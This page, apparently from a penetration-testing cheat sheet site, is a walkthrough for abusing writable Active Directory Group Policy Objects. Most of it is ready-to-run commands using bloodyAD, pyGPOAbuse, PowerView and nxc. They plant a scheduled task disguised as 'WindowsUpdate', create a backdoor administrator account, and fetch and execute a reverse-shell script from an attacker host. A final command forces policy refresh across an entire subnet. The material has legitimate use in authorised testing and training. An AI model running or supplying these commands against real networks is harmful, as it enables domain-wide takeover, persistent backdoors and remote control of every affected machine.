Skip to content
HackIndex logo

HackIndex

GPO Abuse

3 min read Jul 1, 2026

Write access on a GPO lets you modify its settings — adding a scheduled task or startup script that runs on every machine the GPO applies to. BloodHound marks these as GenericWrite or WriteProperty edges on GPO objects. The scope of impact depends on which OUs the GPO is linked to: a GPO linked to the domain root affects every computer.

Find writable GPOs and their scope

┌──(kali㉿kali)-[~]
└─$ # List all GPOs — cn value is the GPO GUID needed for abuse tools
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(objectClass=groupPolicyContainer)' --attr displayName cn
 
┌──(kali㉿kali)-[~]
└─$ # Find which OUs have GPOs linked — gpLink attribute shows the GUID
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(gpLink=*)' --attr distinguishedName gpLink
displayName: Default Domain Policy
cn: {31B2F340-016D-11D2-945F-00C04FB984F9}

BloodHound shows GenericWrite on GPO objects as a direct path. The GUID from the cn attribute (including curly braces) is required for all abuse tools.

pyGPOAbuse — from Kali

pyGPOAbuse modifies GPO settings over LDAP and SMB from a Linux attacker. It adds an immediate scheduled task that executes on all machines in scope at the next policy refresh.

┌──(kali㉿kali)-[~]
└─$ # Install
┌──(kali㉿kali)-[~]
└─$ pipx install pygpoabuse
 
┌──(kali㉿kali)-[~]
└─$ # Add immediate scheduled task (runs as SYSTEM on affected machines)
┌──(kali㉿kali)-[~]
└─$ pygpoabuse '$DOMAIN/$USER:$PASSWORD' -dc-ip $TARGET_IP -gpo-id '$GPO_ID' -powershell -command "net user backdoor Password123! /add && net localgroup administrators backdoor /add" -task-name "WindowsUpdate"
 
┌──(kali㉿kali)-[~]
└─$ # Reverse shell — start listener first: nc -nlvp $LPORT
┌──(kali㉿kali)-[~]
└─$ pygpoabuse '$DOMAIN/$USER:$PASSWORD' -dc-ip $TARGET_IP -gpo-id '$GPO_ID' -powershell -command "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')" -task-name "WindowsUpdate"
[+] Successfully modified GPO {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] Scheduled task WindowsUpdate added

$GPO_ID is the full GUID string from cn including curly braces.

New-GPOImmediateTask — from a Windows shell

From a PowerShell session on a domain-joined machine, PowerView's New-GPOImmediateTask writes a scheduled task directly into the GPO XML on SYSVOL.

On Kali: /usr/share/windows-resources/powersploit/Recon/PowerView.ps1

PS C:\Users\Guest\Desktop> # Load PowerView
PS C:\Users\Guest\Desktop> IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/PowerView.ps1')
 
PS C:\Users\Guest\Desktop> # Add scheduled task — runs as SYSTEM on next GPO refresh
PS C:\Users\Guest\Desktop> New-GPOImmediateTask -TaskName "WindowsUpdate" -GPODisplayName "$GPO_NAME" -Command "cmd.exe" -CommandArguments "/c net user backdoor Password123! /add && net localgroup administrators backdoor /add" -Force

Force GPO refresh

GPOs refresh automatically every 90 minutes. Force immediate execution on all affected machines with a sweep.

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET/24 -u $USER -p $PASSWORD -x "gpupdate /force"

After execution, connect to any affected machine using the backdoor account. See AD Remote Execution for access options.

References